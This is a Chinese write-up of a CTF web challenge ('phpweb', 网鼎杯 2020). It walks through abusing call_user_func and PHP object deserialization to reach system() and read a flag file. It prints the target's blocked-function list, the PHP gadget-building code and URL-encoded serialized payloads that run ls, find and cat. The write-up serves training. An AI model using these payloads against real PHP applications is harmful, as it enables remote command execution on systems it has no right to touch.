[网鼎杯 2020 朱雀组]phpweb 1_综合

打开环境
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这个人是真的丑
有报错，翻译之后没什么提示
进行目录爆破，没有什么发现
那就来抓下包

发现是个这个玩意
百度发现
func是call_user_func()
call_user_func(函数, 参数)，返回值为函数执行参数后的结果然后而p是一个参数
不妨可以猜测用func来执行p
所以来尝试一下
构造

func=show_source&p=index.php

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发现有返回，证明猜想成功，但被过滤了，那试试其他函数

   <?php$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");function gettime($func, $p) {
    $result = call_user_func($func, $p);$a= gettype($result);if ($a == "string") {
    return $result;} else {
    return "";}}class Test {
    var $p = "Y-m-d h:i:s a";var $func = "date";function __destruct() {
    if ($this->func != "") {
    echo gettime($this->func, $this->p);}}}$func = $_REQUEST["func"];$p = $_REQUEST["p"];if ($func != null) {
    $func = strtolower($func);if (!in_array($func,$disable_fun)) {
    echo gettime($func, $p);}else {
    die("Hacker...");}}?>

上面过滤很多函数
然后这里有提示的

 class Test {
    var $p = "Y-m-d h:i:s a";var $func = "date";function __destruct() {
    if ($this->func != "") {
    echo gettime($this->func, $this->p);}}}

人家直接给了个类和魔法函数
很容易反序列化调用这一步
然后你会惊奇的发现反序列化函数还没被过滤
先看看当前目录

func=unserialize&p=序列化结果

<?php
class Test {
    var $p = "Y-m-d h:i:s a";var $func = "date";function __destruct() {
    if ($this->func != "") {
    echo gettime($this->func, $this->p);}}
}
$a = new Test();
$a->p ="ls";
$a->func = 'system';
var_dump(urlencode(serialize($a)));

func=unserialize&p=O%3A4%3A%22Test%22%3A2%3A%7Bs%3A1%3A%22p%22%3Bs%3A2%3A%22ls%22%3Bs%3A4%3A%22func%22%3Bs%3A6%3A%22system%22%3B%7D

在这里插入图片描述没有发现flag相关文件
然后我们可以使用这两个
system(“find / -name flag*”)
查找所有文件名匹配flag的文件
system(“cat $(find / -name flag*)”)
打印所有文件名匹配flag的文件
所以直接payload

<?phpclass Test {
    var $p = "Y-m-d h:i:s a";var $func = "date";function __destruct() {
    if ($this->func != "") {
    echo gettime($this->func, $this->p);}}}
$a = new Test();
$a->p ="find / -name 'flag*'";#寻找flag的路径
#$a->p = 'cat /tmp/flagoefiu4r93';
$a->func = 'system';
print_r(urlencode(serialize($a)));

找到路径为

/tmp/flagoefiu4r93

所以最终payload

func=unserialize&p=O%3A4%3A%22Test%22%3A2%3A%7Bs%3A1%3A%22p%22%3Bs%3A22%3A%22cat+%2Ftmp%2Fflagoefiu4r93%22%3Bs%3A4%3A%22func%22%3Bs%3A6%3A%22system%22%3B%7D

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希望这篇文章能够帮助你！